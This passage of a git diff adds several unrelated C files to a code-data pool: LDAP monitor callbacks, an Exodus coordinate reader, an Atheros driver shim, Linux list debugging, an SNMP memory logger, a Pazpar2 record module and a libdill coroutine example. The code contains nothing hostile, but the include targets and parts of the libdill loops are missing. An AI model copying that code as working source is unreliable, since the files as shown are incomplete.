monitor_entry_t *mp; + + int rc = SLAP_CB_CONTINUE; + + assert( mi != NULL ); + assert( e != NULL ); + assert( e->e_private != NULL ); + + mp = ( monitor_entry_t * )e->e_private; + + if ( mp->mp_cb ) { + struct monitor_callback_t *mc; + + for ( mc = mp->mp_cb; mc; mc = mc->mc_next ) { + if ( mc->mc_update ) { + rc = mc->mc_update( op, rs, e, mc->mc_private ); + if ( rc != SLAP_CB_CONTINUE ) { + break; + } + } + } + } + + if ( rc == SLAP_CB_CONTINUE && mp->mp_info && mp->mp_info->mss_update ) { + rc = mp->mp_info->mss_update( op, rs, e ); + } + + if ( rc == SLAP_CB_CONTINUE ) { + rc = LDAP_SUCCESS; + } + + return rc; +} + +int +monitor_entry_create( + Operation *op, + SlapReply *rs, + struct berval *ndn, + Entry *e_parent, + Entry **ep ) +{ + monitor_info_t *mi = ( monitor_info_t * )op->o_bd->be_private; + monitor_entry_t *mp; + + int rc = SLAP_CB_CONTINUE; + + assert( mi != NULL ); + assert( e_parent != NULL ); + assert( e_parent->e_private != NULL ); + assert( ep != NULL ); + + mp = ( monitor_entry_t * )e_parent->e_private; + + if ( mp->mp_info && mp->mp_info->mss_create ) { + rc = mp->mp_info->mss_create( op, rs, ndn, e_parent, ep ); + } + + if ( rc == SLAP_CB_CONTINUE ) { + rc = LDAP_SUCCESS; + } + + return rc; +} + +int +monitor_entry_modify( + Operation *op, + SlapReply *rs, + Entry *e +) +{ + monitor_info_t *mi = ( monitor_info_t * )op->o_bd->be_private; + monitor_entry_t *mp; + + int rc = SLAP_CB_CONTINUE; + + assert( mi != NULL ); + assert( e != NULL ); + assert( e->e_private != NULL ); + + mp = ( monitor_entry_t * )e->e_private; + + if ( mp->mp_cb ) { + struct monitor_callback_t *mc; + + for ( mc = mp->mp_cb; mc; mc = mc->mc_next ) { + if ( mc->mc_modify ) { + rc = mc->mc_modify( op, rs, e, mc->mc_private ); + if ( rc != SLAP_CB_CONTINUE ) { + break; + } + } + } + } + + if ( rc == SLAP_CB_CONTINUE && mp->mp_info && mp->mp_info->mss_modify ) { + rc = mp->mp_info->mss_modify( op, rs, e ); + } + + if ( rc == SLAP_CB_CONTINUE ) { + rc = LDAP_SUCCESS; + } + + return rc; +} + +int +monitor_entry_test_flags( + monitor_entry_t *mp, + int cond +) +{ + assert( mp != NULL ); + + return( ( mp->mp_flags & cond ) || ( mp->mp_info->mss_flags & cond ) ); +} + +monitor_entry_t * +monitor_entrypriv_create( void ) +{ + monitor_entry_t *mp; + + mp = ( monitor_entry_t * )ch_calloc( sizeof( monitor_entry_t ), 1 ); + + mp->mp_next = NULL; + mp->mp_children = NULL; + mp->mp_info = NULL; + mp->mp_flags = MONITOR_F_NONE; + mp->mp_cb = NULL; + + ldap_pvt_thread_mutex_init( &mp->mp_mutex ); + + return mp; +} + +Entry * +monitor_entry_stub( + struct berval *pdn, + struct berval *pndn, + struct berval *rdn, + ObjectClass *oc, + monitor_info_t *mi, + struct berval *create, + struct berval *modify +) +{ + AttributeDescription *nad = NULL; + Entry *e; + struct berval nat; + char *ptr; + const char *text; + int rc; + + nat = *rdn; + ptr = strchr( nat.bv_val, '=' ); + nat.bv_len = ptr - nat.bv_val; + rc = slap_bv2ad( &nat, &nad, &text ); + if ( rc ) + return NULL; + + e = entry_alloc(); + if ( e ) { + struct berval nrdn; + + rdnNormalize( 0, NULL, NULL, rdn, &nrdn, NULL ); + build_new_dn( &e->e_name, pdn, rdn, NULL ); + build_new_dn( &e->e_nname, pndn, &nrdn, NULL ); + ber_memfree( nrdn.bv_val ); + nat.bv_val = ptr + 1; + nat.bv_len = rdn->bv_len - ( nat.bv_val - rdn->bv_val ); + attr_merge_normalize_one( e, slap_schema.si_ad_objectClass, + &oc->soc_cname, NULL ); + attr_merge_normalize_one( e, slap_schema.si_ad_structuralObjectClass, + &oc->soc_cname, NULL ); + attr_merge_normalize_one( e, nad, &nat, NULL ); + attr_merge_one( e, slap_schema.si_ad_creatorsName, &mi->mi_creatorsName, + &mi->mi_ncreatorsName ); + attr_merge_one( e, slap_schema.si_ad_modifiersName, &mi->mi_creatorsName, + &mi->mi_ncreatorsName ); + attr_merge_normalize_one( e, slap_schema.si_ad_createTimestamp, + create ? create : &mi->mi_startTime, NULL ); + attr_merge_normalize_one( e, slap_schema.si_ad_modifyTimestamp, + modify ? modify : &mi->mi_startTime, NULL ); + } + return e; +} diff --git a/pool/shard011/C/0142200_ex_get_coordinate_frames.c b/pool/shard011/C/0142200_ex_get_coordinate_frames.c new file mode 100644 index 0000000000000000000000000000000000000000..1909dd1f2ad6764a7376544b0558e1047305376f --- /dev/null +++ b/pool/shard011/C/0142200_ex_get_coordinate_frames.c @@ -0,0 +1,208 @@ +/* + * Copyright (c) 2005 Sandia Corporation. Under the terms of Contract + * DE-AC04-94AL85000 with Sandia Corporation, the U.S. Governement + * retains certain rights in this software. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * * Neither the name of Sandia Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ +/***************************************************************************** +* +* exgfrm - ex_get_coordinate_frames: read coordinate frames +* +* entry conditions - +* input parameters: +* int exoid exodus file id +* +* NOTE: +* cf_ids, pt_coordinates and tags may all be NULL, otherwise, they +* must have sufficient memory to store the output data. Two calls +* to this routine are anticipated (one to get nframes, the second +* to fill the data. i.e. +* ex_get_coordinate_frames(exoid,&nframes,0,0,0); +* ... allocate memory ... +* ex_get_coordinate_frames(exoid,&nframe,id,coords,tags); +* +* +* output conditions - +* int* nframes number of coordinate frames in model +* const int* cf_ids coordinate ids +* dimension int[nframes] +* const void* pt_coordinates pointer to coordinates. 9 values per +* coordinate frame +* dimension float[9*nframes] +* const char* tags character tag for each frame. +* 'r' - rectangular +* 'c' - cylindrical +* 's' - spherical +* dimension char[nframes] +* +* returns - +* EX_NOERR for no error +* EX_FATAL for fatal errors +* +*****************************************************************************/ + +#include +#include "exodusII.h" +#include "exodusII_int.h" + +/* -------------------- local defines --------------------------- */ +#define PROCNAME "ex_get_coordinate_frames" +/* -------------------- end of local defines -------------------- */ +/*! + * Coordinate frames are stored in the database as a series of three + * points (defined in the basic cartesian coordinate system). The + * first of these points describes the origin of the new system. The + * second point lies on the 3 axis (or Z axis) of the frame. The third + * point is in the 1-3 (xz) plane. Each coordinate frame is identified + * by a unique, integer coordinate ID, and by a character tag + * indicating whether the frame is rectangular cartesian + * "R", cylindrical "C, or spherical "S". + * Because the coordinates are floating point values, + * the application code must declare the arrays passed to be the + * appropriate type "float" or "double" to match the + * compute word size passed in ex_create() or + * ex_open(). + * \param exoid exodus file id + * \param[in,out] nframes if 'cf_ids' is NULL, then nframes is returned with the number + * of defined coordinate frames. Else it is the number of coordinate + * frames to read. + * \param[out] cf_ids The (nframes) coordinate frame Ids. If cf_ids is + * NULL, no data will be returned in this or any other array. Only + * nframes will be modified. Otherwise, space must be allocated to + * store 'nframes' integers before making this call. + * \param[out] pt_coordinates The (9*nframes) coordinates of the three + * points defining each coordinate axis. The first three values are + * the origin of the first frame. The next three values are the + * coordinates of a point on the 3rd axis of the first frame. The next + * three values are the coordinates of a point in the plane of the 1-3 + * axis. The pattern is repeated for each frame. If 'cf_ids' + * is null, no data will be returned in this array. Otherwise, space + * must be allocated for 9*nframes floating point values. The size of + * the allocation depends upon the compute word size. + * \param[out] tags The (nframes) character tags associated with each + * coordinate frame. If 'cf_ids' is NULL, no data will be + * returned in this array. Otherwise, space must be allocated for + * 'nframes' characters. + */ + + int ex_get_coordinate_frames( int exoid, + int *nframes, + void_int *cf_ids, + void* pt_coordinates, + char* tags) + +{ + int status; + int dimid; /* ID of the dimension of # frames */ + char errmsg[MAX_ERR_LENGTH]; + int varids; /* variable id for the frame ids */ + size_t start=0; /* start value for varputs */ + size_t count; /* number vars to put in varput */ + + /* get the dimensions */ + assert( nframes !=NULL ); + status = nc_inq_dimid(exoid, DIM_NUM_CFRAMES, &dimid); + if (status != NC_NOERR){ + *nframes=0; + return EX_NOERR; + } + + nc_inq_dimlen(exoid,dimid,&count); + *nframes=(int)count; + + if ( count==0 ) + return (EX_NOERR); + + if ( cf_ids ) { + if ((status = nc_inq_varid(exoid,VAR_FRAME_IDS, &varids))!= NC_NOERR) { + exerrval = status; + sprintf(errmsg, + "Error: failed to read number coordinate ids from file id %d", + exoid); + ex_err(PROCNAME,errmsg,exerrval); + return (EX_FATAL); + } + + if (ex_int64_status(exoid) & EX_IDS_INT64_API) { + status = nc_get_var_longlong(exoid,varids,cf_ids); + } else { + status = nc_get_var_int(exoid,varids,cf_ids); + } + + if (status != NC_NOERR) { + exerrval = status; + sprintf(errmsg, + "Error: failed to read coordinate frame ids from file id %d", + exoid); + ex_err(PROCNAME,errmsg,exerrval); + return (EX_FATAL); + } + } + + if ( tags ) + if ( (status = nc_inq_varid(exoid,VAR_FRAME_TAGS,&varids))!= NC_NOERR || + (nc_get_vara_text(exoid,varids,&start,&count,tags) != NC_NOERR)) { + exerrval = status; + sprintf(errmsg, + "Error: failed to read number coordinate tags from file id %d", + exoid); + ex_err(PROCNAME,errmsg,exerrval); + return (EX_FATAL); + } + + if (pt_coordinates ){ + if ( (status = nc_inq_varid(exoid,VAR_FRAME_COORDS,&varids))!= NC_NOERR) { + exerrval = status; + sprintf(errmsg, + "Error: failed to read number coordinate tags from file id %d", + exoid); + ex_err(PROCNAME,errmsg,exerrval); + return (EX_FATAL); + } + + if (ex_comp_ws(exoid) == 4) { + status = nc_get_var_float(exoid,varids,pt_coordinates); + } else { + status = nc_get_var_double(exoid,varids,pt_coordinates); + } + + if (status != NC_NOERR) { + exerrval = status; + sprintf(errmsg, + "Error: failed to read number coordinate tags from file id %d", + exoid); + ex_err(PROCNAME,errmsg,exerrval); + return (EX_FATAL); + } + } + + return (EX_NOERR); +} diff --git a/pool/shard011/C/0142201_export_hci_transport.c b/pool/shard011/C/0142201_export_hci_transport.c new file mode 100644 index 0000000000000000000000000000000000000000..cc9c8dd7bcdc6a41cb5ae3726c7e3a81711f9e76 --- /dev/null +++ b/pool/shard011/C/0142201_export_hci_transport.c @@ -0,0 +1,126 @@ +//------------------------------------------------------------------------------ +// +// Copyright (c) 2009 Atheros Corporation. All rights reserved. +// +// The software source and binaries included in this development package are +// licensed, not sold. You, or your company, received the package under one +// or more license agreements. The rights granted to you are specifically +// listed in these license agreement(s). All other rights remain with Atheros +// Communications, Inc., its subsidiaries, or the respective owner including +// those listed on the included copyright notices. Distribution of any +// portion of this package must be in strict compliance with the license +// agreement(s) terms. +// +// +// +// Wifi driver for AR6002 +// +// +//------------------------------------------------------------------------------ +//============================================================================== +// HCI bridge implementation +// +// Author(s): ="Atheros" +//============================================================================== +#include +#include +#include "a_types.h" +#include "a_osapi.h" +#include "htc_api.h" +#include "a_drv.h" +#include "hif.h" +#include "common_drv.h" +#include "a_debug.h" +#include "hci_transport_api.h" + +#include "AR6002/hw4.0/hw/apb_athr_wlan_map.h" +#include "AR6002/hw4.0/hw/uart_reg.h" +#include "AR6002/hw4.0/hw/rtc_wlan_reg.h" + +HCI_TRANSPORT_HANDLE (*_HCI_TransportAttach)(void *HTCHandle, HCI_TRANSPORT_CONFIG_INFO *pInfo); +void (*_HCI_TransportDetach)(HCI_TRANSPORT_HANDLE HciTrans); +A_STATUS (*_HCI_TransportAddReceivePkts)(HCI_TRANSPORT_HANDLE HciTrans, HTC_PACKET_QUEUE *pQueue); +A_STATUS (*_HCI_TransportSendPkt)(HCI_TRANSPORT_HANDLE HciTrans, HTC_PACKET *pPacket, A_BOOL Synchronous); +void (*_HCI_TransportStop)(HCI_TRANSPORT_HANDLE HciTrans); +A_STATUS (*_HCI_TransportStart)(HCI_TRANSPORT_HANDLE HciTrans); +A_STATUS (*_HCI_TransportEnableDisableAsyncRecv)(HCI_TRANSPORT_HANDLE HciTrans, A_BOOL Enable); +A_STATUS (*_HCI_TransportRecvHCIEventSync)(HCI_TRANSPORT_HANDLE HciTrans, + HTC_PACKET *pPacket, + int MaxPollMS); +A_STATUS (*_HCI_TransportSetBaudRate)(HCI_TRANSPORT_HANDLE HciTrans, A_UINT32 Baud); +A_STATUS (*_HCI_TransportEnablePowerMgmt)(HCI_TRANSPORT_HANDLE HciTrans, A_BOOL Enable); + +extern HCI_TRANSPORT_CALLBACKS ar6kHciTransCallbacks; + +A_STATUS ar6000_register_hci_transport(HCI_TRANSPORT_CALLBACKS *hciTransCallbacks) +{ + ar6kHciTransCallbacks = *hciTransCallbacks; + + _HCI_TransportAttach = HCI_TransportAttach; + _HCI_TransportDetach = HCI_TransportDetach; + _HCI_TransportAddReceivePkts = HCI_TransportAddReceivePkts; + _HCI_TransportSendPkt = HCI_TransportSendPkt; + _HCI_TransportStop = HCI_TransportStop; + _HCI_TransportStart = HCI_TransportStart; + _HCI_TransportEnableDisableAsyncRecv = HCI_TransportEnableDisableAsyncRecv; + _HCI_TransportRecvHCIEventSync = HCI_TransportRecvHCIEventSync; + _HCI_TransportSetBaudRate = HCI_TransportSetBaudRate; + _HCI_TransportEnablePowerMgmt = HCI_TransportEnablePowerMgmt; + + return A_OK; +} + +A_STATUS +ar6000_get_hif_dev(HIF_DEVICE *device, void *config) +{ + A_STATUS status; + + status = HIFConfigureDevice(device, + HIF_DEVICE_GET_OS_DEVICE, + (HIF_DEVICE_OS_DEVICE_INFO *)config, + sizeof(HIF_DEVICE_OS_DEVICE_INFO)); + return status; +} + +A_STATUS ar6000_set_uart_config(HIF_DEVICE *hifDevice, + A_UINT32 scale, + A_UINT32 step) +{ + A_UINT32 regAddress; + A_UINT32 regVal; + A_STATUS status; + + regAddress = WLAN_UART_BASE_ADDRESS | UART_CLKDIV_ADDRESS; + regVal = ((A_UINT32)scale << 16) | step; + /* change the HCI UART scale/step values through the diagnostic window */ + status = ar6000_WriteRegDiag(hifDevice, ®Address, ®Val); + + return status; +} + +A_STATUS ar6000_get_core_clock_config(HIF_DEVICE *hifDevice, A_UINT32 *data) +{ + A_UINT32 regAddress; + A_STATUS status; + + regAddress = WLAN_RTC_BASE_ADDRESS | WLAN_CPU_CLOCK_ADDRESS; + /* read CPU clock settings*/ + status = ar6000_ReadRegDiag(hifDevice, ®Address, data); + + return status; +} + +EXPORT_SYMBOL(ar6000_register_hci_transport); +EXPORT_SYMBOL(ar6000_get_hif_dev); +EXPORT_SYMBOL(ar6000_set_uart_config); +EXPORT_SYMBOL(ar6000_get_core_clock_config); +EXPORT_SYMBOL(_HCI_TransportAttach); +EXPORT_SYMBOL(_HCI_TransportDetach); +EXPORT_SYMBOL(_HCI_TransportAddReceivePkts); +EXPORT_SYMBOL(_HCI_TransportSendPkt); +EXPORT_SYMBOL(_HCI_TransportStop); +EXPORT_SYMBOL(_HCI_TransportStart); +EXPORT_SYMBOL(_HCI_TransportEnableDisableAsyncRecv); +EXPORT_SYMBOL(_HCI_TransportRecvHCIEventSync); +EXPORT_SYMBOL(_HCI_TransportSetBaudRate); +EXPORT_SYMBOL(_HCI_TransportEnablePowerMgmt); diff --git a/pool/shard011/C/0142202_ccaller.c b/pool/shard011/C/0142202_ccaller.c new file mode 100644 index 0000000000000000000000000000000000000000..a9e22b11eac46fd4203bb4a27e2144ba13071bc3 --- /dev/null +++ b/pool/shard011/C/0142202_ccaller.c @@ -0,0 +1,27 @@ + + + +#include +#include "sdtree.h" + +int main (int argc, char *argv[]) { + void* fp = fpublish_create(); + fpublish_printEcInformation(fp); + + char revoke[] = "10000000000000000000000000000000"; + tDPath p = StringToDoublePath(revoke); + p |= 0x1LL << ((2* ( 32 - 31) )-1); + fpublish_revokeuser(fp, p); + + + fString data = fpublish_getServerData(fp); + fpublish_writeServerData(fp, "testdata"); + printf("Length: %u\n\n", data.length); + + char revoke2[] = "00000000000000000000000000000001"; + tPath p2 = StringToPath(revoke2); + fpublish_generateKeylist(fp, p2); + + //printf("%s\n\n\n", data.data); + return 0; +} diff --git a/pool/shard011/C/0142203_list_debug.c b/pool/shard011/C/0142203_list_debug.c new file mode 100644 index 0000000000000000000000000000000000000000..8f13dff5d17b1a5eebf96b5c5caae6200eea74d9 --- /dev/null +++ b/pool/shard011/C/0142203_list_debug.c @@ -0,0 +1,109 @@ +/* + * Copyright 2006, Red Hat, Inc., Dave Jones + * Released under the General Public License (GPL). + * + * This file contains the linked list implementations for + * DEBUG_LIST. + */ + +#include +#include +#include +#include +#include + +/* + * Insert a new entry between two known consecutive entries. + * + * This is only for internal list manipulation where we know + * the prev/next entries already! + */ + +void __list_add(struct list_head *new, + struct list_head *prev, + struct list_head *next) +{ + int warn = 0; + + warn |= WARN(next->prev != prev, + "list_add corruption. next->prev should be " + "prev (%p), but was %p. (next=%p).\n", + prev, next->prev, next); + warn |= WARN(prev->next != next, + "list_add corruption. prev->next should be " + "next (%p), but was %p. (prev=%p).\n", + next, prev->next, prev); + warn |= WARN(new == prev || new == next, + "list_add double add: new=%p, prev=%p, next=%p.\n", + new, prev, next); + if (warn) + panic("List corruption"); + next->prev = new; + new->next = next; + new->prev = prev; + prev->next = new; +} +EXPORT_SYMBOL(__list_add); + +void __list_del_entry(struct list_head *entry) +{ + struct list_head *prev, *next; + + prev = entry->prev; + next = entry->next; + + if (WARN(next == LIST_POISON1, + "list_del corruption, %p->next is LIST_POISON1 (%p)\n", + entry, LIST_POISON1) || + WARN(prev == LIST_POISON2, + "list_del corruption, %p->prev is LIST_POISON2 (%p)\n", + entry, LIST_POISON2) || + WARN(prev->next != entry, + "list_del corruption. prev->next should be %p, " + "but was %p\n", entry, prev->next) || + WARN(next->prev != entry, + "list_del corruption. next->prev should be %p, " + "but was %p\n", entry, next->prev)) { + panic("List corruption"); + return; + } + __list_del(prev, next); +} +EXPORT_SYMBOL(__list_del_entry); + +/** + * list_del - deletes entry from list. + * @entry: the element to delete from the list. + * Note: list_empty on entry does not return true after this, the entry is + * in an undefined state. + */ +void list_del(struct list_head *entry) +{ + __list_del_entry(entry); + entry->next = LIST_POISON1; + entry->prev = LIST_POISON2; +} +EXPORT_SYMBOL(list_del); + +/* + * RCU variants. + */ +void __list_add_rcu(struct list_head *new, + struct list_head *prev, struct list_head *next) +{ + int warn = 0; + + warn |= WARN(next->prev != prev, + "list_add_rcu corruption. next->prev should be prev (%p), but was %p. (next=%p).\n", + prev, next->prev, next); + warn |= WARN(prev->next != next, + "list_add_rcu corruption. prev->next should be next (%p), but was %p. (prev=%p).\n", + next, prev->next, prev); + if (warn) + panic("List corruption"); + new->next = next; + new->prev = prev; + rcu_assign_pointer(list_next_rcu(prev), new); + next->prev = new; +} +EXPORT_SYMBOL(__list_add_rcu); diff --git a/pool/shard011/C/0142204_memusage.c b/pool/shard011/C/0142204_memusage.c new file mode 100644 index 0000000000000000000000000000000000000000..436b5f62c47c5cf7af2744b9a645dbf0819fc997 --- /dev/null +++ b/pool/shard011/C/0142204_memusage.c @@ -0,0 +1,120 @@ +#define _BSD_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include "ams_rec.h" +#include "recorder.h" + +/* routines needed for debug output */ +#include +#include + +/* required to re-schedule log event */ +#include "net-snmp/library/snmp_alarm.h" + +#define netsnmp_cache void +#include "net-snmp/agent/hardware/memory.h" + + +int rec_init(); +int doCodeDescriptor(unsigned int, unsigned int, unsigned char, unsigned char, + unsigned char, unsigned char, unsigned char, char *); + +extern int log_interval; +extern void rec_log_memory_usage(unsigned int, void *); +extern int mem_usage_reinit; + +static field fld[] = { + {REC_SIZE_QWORD, REC_TYP_NUMERIC, "Physical Memory Used"}, + {REC_SIZE_QWORD, REC_TYP_NUMERIC, "Physical Memory Free"}, + {REC_SIZE_QWORD, REC_TYP_NUMERIC, "Virtual Memory Used"}, + {REC_SIZE_QWORD, REC_TYP_NUMERIC, "Virtual Memory Free"}, +}; + +void LOG_MEMORY_USAGE() +{ + int i = 0; + int rc; + int num_descript; + size_t toc_sz = 0; + RECORDER_API4_RECORD *toc; + + if (!rec_init() ) + return; + + /* do Code Descriptor */ + if ((rc = doCodeDescriptor(s_ams_rec_handle, + s_ams_rec_class, + REC_CODE_AMS_MEMORY_USAGE, + 0, + REC_SEV_PERIOD, + REC_BINARY_DATA, + REC_VIS_CUSTOMER, + REC_CODE_AMS_MEMORY_USAGE_STR)) != RECORDER_OK) { + DEBUGMSGTL(("rec:rec_log_error","Memory Usage register descriptor failed %d\n", rc)); + return; + } + + /* build descriptor toc */ + num_descript = sizeof(fld)/sizeof(field); + DEBUGMSGTL(("rec:rec_log_mem","Memory Usage num_descript = %d\n", num_descript)); + if ((toc_sz = sizeof(RECORDER_API4_RECORD) * num_descript) + > RECORDER_MAX_BLOB_SIZE) { + DEBUGMSGTL(("rec:rec_log_error","Memory Usage Descriptor too large %ld\n", toc_sz)); + return; + } + DEBUGMSGTL(("rec:log","Memory Usage toc_sz = %ld\n", toc_sz)); + if ((toc = malloc(toc_sz)) == NULL) { + DEBUGMSGTL(("rec:rec_log_error","Memory Usage Unable to malloc() %ld bytes\n", toc_sz)); + return; + } + DEBUGMSGTL(("rec:rec_log_mem", "toc = %p\n", toc)); + + /* now do the field descriptor */ + memset(toc, 0, toc_sz); + for ( i = 0; i < num_descript; i++) { + toc[i].flags = REC_FLAGS_API4 | REC_FLAGS_DESC_FIELD; + toc[i].classs = s_ams_rec_class; + toc[i].code = REC_CODE_AMS_MEMORY_USAGE; + toc[i].field = i; + toc[i].severity_type = REC_SEV_PERIOD | fld[i].tp; + toc[i].format = fld[i].sz; + toc[i].visibility = REC_VIS_CUSTOMER; + strncpy(toc[i].desc, fld[i].nm, strlen(fld[i].nm)); + DEBUGMSGTL(("rec:rec_log_mem", "toc[i] = %p\n", &toc[i])); + dump_chunk("rec:rec_log_mem","descriptor", (const u_char *)&toc[i],96); + } + + dump_chunk("rec:rec_log","toc",(const u_char *)toc, toc_sz); + + if ((rc = rec_api4_field(s_ams_rec_handle, toc_sz, toc)) + != RECORDER_OK) { + DEBUGMSGTL(("rec:rec_log_error","Memory Usage register descriptor failed %d\n", rc)); + return; + } + free(toc); + + if (!mem_usage_reinit) + switch (log_interval) { + case 0: + rec_log_memory_usage(0, NULL); + break; + case 1: + snmp_alarm_register(60, SA_REPEAT, &rec_log_memory_usage, NULL); + break; + case 2: + snmp_alarm_register(600, SA_REPEAT, &rec_log_memory_usage, NULL); + break; + case 3: + snmp_alarm_register(3600, SA_REPEAT, &rec_log_memory_usage, NULL); + break; + } + else + mem_usage_reinit = 0; + return; +} diff --git a/pool/shard011/C/0142205_record.c b/pool/shard011/C/0142205_record.c new file mode 100644 index 0000000000000000000000000000000000000000..d8b12494dcb1c8ded753bdad22e8705582cfa41b --- /dev/null +++ b/pool/shard011/C/0142205_record.c @@ -0,0 +1,157 @@ +/* This file is part of Pazpar2. + Copyright (C) 2006-2013 Index Data + +Pazpar2 is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation; either version 2, or (at your option) any later +version. + +Pazpar2 is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or +FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License +for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +*/ + +#include + +#include +#include + +#if HAVE_CONFIG_H +#include +#endif + +#include "pazpar2_config.h" +#include "client.h" +#include "record.h" + +union data_types * data_types_assign(NMEM nmem, + union data_types ** data1, + union data_types data2) +{ + // assert(nmem); + + if (!data1) + return 0; + + if (!*data1){ + if (!nmem) + return 0; + else + *data1 = nmem_malloc(nmem, sizeof(union data_types)); + } + + **data1 = data2; + return *data1; +} + + +/** + * Make a shallow copy of an existing record. + * + * @param nmem: memory allocator + */ +struct record * record_copy(NMEM nmem, struct record *record) +{ + struct record *result = nmem_malloc(nmem, sizeof(*result)); + memcpy(result, record, sizeof(*result)); + return result; +} + + +struct record * record_create(NMEM nmem, int num_metadata, int num_sortkeys, + struct client *client, int position) +{ + struct record * record = 0; + int i = 0; + const char *name = client_get_id(client); + unsigned h = position; + + // assert(nmem); + + record = nmem_malloc(nmem, sizeof(struct record)); + + record->next = 0; + record->client = client; + + record->metadata + = nmem_malloc(nmem, + sizeof(struct record_metadata*) * num_metadata); + for (i = 0; i < num_metadata; i++) + record->metadata[i] = 0; + + record->sortkeys + = nmem_malloc(nmem, + sizeof(union data_types*) * num_sortkeys); + for (i = 0; i < num_sortkeys; i++) + record->sortkeys[i] = 0; + + record->position = position; + + for (i = 0; name[i]; i++) + h = h * 65509 + ((unsigned char *) name)[i]; + + record->checksum = h; + + return record; +} + +struct record_metadata * record_metadata_create(NMEM nmem) +{ + struct record_metadata * rec_md + = nmem_malloc(nmem, sizeof(struct record_metadata)); + rec_md->next = 0; + rec_md->attributes = 0; + return rec_md; +} + + +int record_compare(struct record *r1, struct record *r2, + struct conf_service *service) +{ + int i; + for (i = 0; i < service->num_metadata; i++) + { + struct conf_metadata *ser_md = &service->metadata[i]; + enum conf_metadata_type type = ser_md->type; + + struct record_metadata *m1 = r1->metadata[i]; + struct record_metadata *m2 = r2->metadata[i]; + while (m1 && m2) + { + switch (type) + { + case Metadata_type_generic: + if (strcmp(m1->data.text.disp, m2->data.text.disp)) + return 0; + break; + case Metadata_type_date: + case Metadata_type_year: + if (m1->data.number.min != m2->data.number.min || + m1->data.number.max != m2->data.number.max) + return 0; + break; + } + m1 = m1->next; + m2 = m2->next; + } + if (m1 || m2) + return 0; + } + return 1; +} + +/* + * Local variables: + * c-basic-offset: 4 + * c-file-style: "Stroustrup" + * indent-tabs-mode: nil + * End: + * vim: shiftwidth=4 tabstop=8 expandtab + */ + diff --git a/pool/shard011/C/0142206_garbage.c b/pool/shard011/C/0142206_garbage.c new file mode 100644 index 0000000000000000000000000000000000000000..ce9eebf4605fc1b0335bcd036e7a7fefb5a7a9e6 --- /dev/null +++ b/pool/shard011/C/0142206_garbage.c @@ -0,0 +1,109 @@ +/* + + libdill example on how to garbage collect coroutine handles upon completion + + Copyright (c) 2017 John W. Leimgruber III + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom + the Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included + in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + IN THE SOFTWARE. + +*/ + +#include +#include +#include +#include +#include +#include +#include + +#define errno_assert(x) \ + do {\ + if(!(x)) {\ + fprintf(stderr, "%s [%d] (%s:%d)\n", strerror(errno),\ + (int)errno, __FILE__, __LINE__);\ + fflush(stderr);\ + abort();\ + }\ + } while(0) + +coroutine void dowork(int worker_ch, int id) { + // do work + msleep(now() + 5 * id); + printf("Coroutine handle %d done.\n", id); + int rc = chsend(worker_ch, &id, sizeof(id), -1); +} + +coroutine void garbage(int worker_ch, int done_ch, int num_workers) { + printf("Garbage collector starting.\n"); + for(int i=0;i\n", argv[0]); + return 1; + } + + int num_workers = atoi(argv[1]); + int done_ch = chmake(sizeof(int)); + errno_assert(done_ch >= 0); + printf("done_ch handle: %d\n", done_ch); + int worker_ch = chmake(sizeof(int)); + errno_assert(worker_ch >= 0); + printf("worker_ch handle: %d\n", worker_ch); + + // spawn the garbage collector coroutine + int gcr = go(garbage(worker_ch, done_ch, num_workers)); + errno_assert(gcr >= 0); + printf("garbage collector handle is %d\n", gcr); + + // spawn N worker coroutines + for(int i=0;i= 0); + } + + // block on done channel until someone calls chdone() on it + printf("Main function blocking untile all garbage collected.\n"); + int op; + int rc = chrecv(done_ch, &op, sizeof(op), -1); + errno_assert(rc == -1); + errno_assert(errno == EPIPE); + + // close garbage collector's coroutine + hclose(gcr); + + // close channels + 